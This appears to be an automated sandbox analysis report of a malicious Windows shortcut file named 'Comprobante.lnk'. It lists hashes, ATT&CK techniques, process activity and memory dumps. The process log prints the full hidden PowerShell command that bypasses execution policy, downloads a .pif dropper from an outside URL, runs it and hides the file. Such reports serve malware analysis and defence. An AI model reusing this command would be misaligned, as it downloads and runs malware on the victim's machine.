245f1f3463841248c78c4917dc1a846419f92d957132fabf0b4ee4501dcb6198

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
03-10-2024 07:14

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General

Target

Comprobante.lnk
Size

2KB
MD5

8c19af87f9129a49e35158f93815eb7f
SHA1

9a6c4b22c2e5bf7f039eb2ad20d0822c0e913d14
SHA256

245f1f3463841248c78c4917dc1a846419f92d957132fabf0b4ee4501dcb6198
SHA512

829aa9dea154d1ac2493bee30b32fc518f0c6a595b806aefd13652591424acf885135da1eafbb1641a40fa6d84761229ea54c45bfefa7bf3f300461043f558df

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

PoWeRShElL.exe

pid	Process
1208	PoWeRShElL.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

PoWeRShElL.exe

pid	Process
1208	PoWeRShElL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

PoWeRShElL.exe

description	pid	Process
Token: SeDebugPrivilege	1208	PoWeRShElL.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	Process	procid_target
PID 2868 wrote to memory of 1208	2868	cmd.exe	29
PID 2868 wrote to memory of 1208	2868	cmd.exe	29
PID 2868 wrote to memory of 1208	2868	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Comprobante.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2868
- C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe" -ExecutionPolicy Bypass -WindowStyle hiDDEn -HiDdEn -Command ddisplay.dll;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif','screens.pif');./'screens.pif';(get-item 'screens.pif').Attributes += 'Hidden';
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1208-38-0x000007FEF5FFE000-0x000007FEF5FFF000-memory.dmp

Filesize
4KB

Download
memory/1208-39-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/1208-40-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

Filesize
32KB

Download
memory/1208-41-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Filesize
9.6MB

Download
memory/1208-42-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Filesize
9.6MB

Download
memory/1208-43-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Filesize
9.6MB

Download
memory/1208-44-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Filesize
9.6MB

Download
memory/1208-45-0x000007FEF5D40000-0x000007FEF66DD000-memory.dmp

Filesize
9.6MB

Download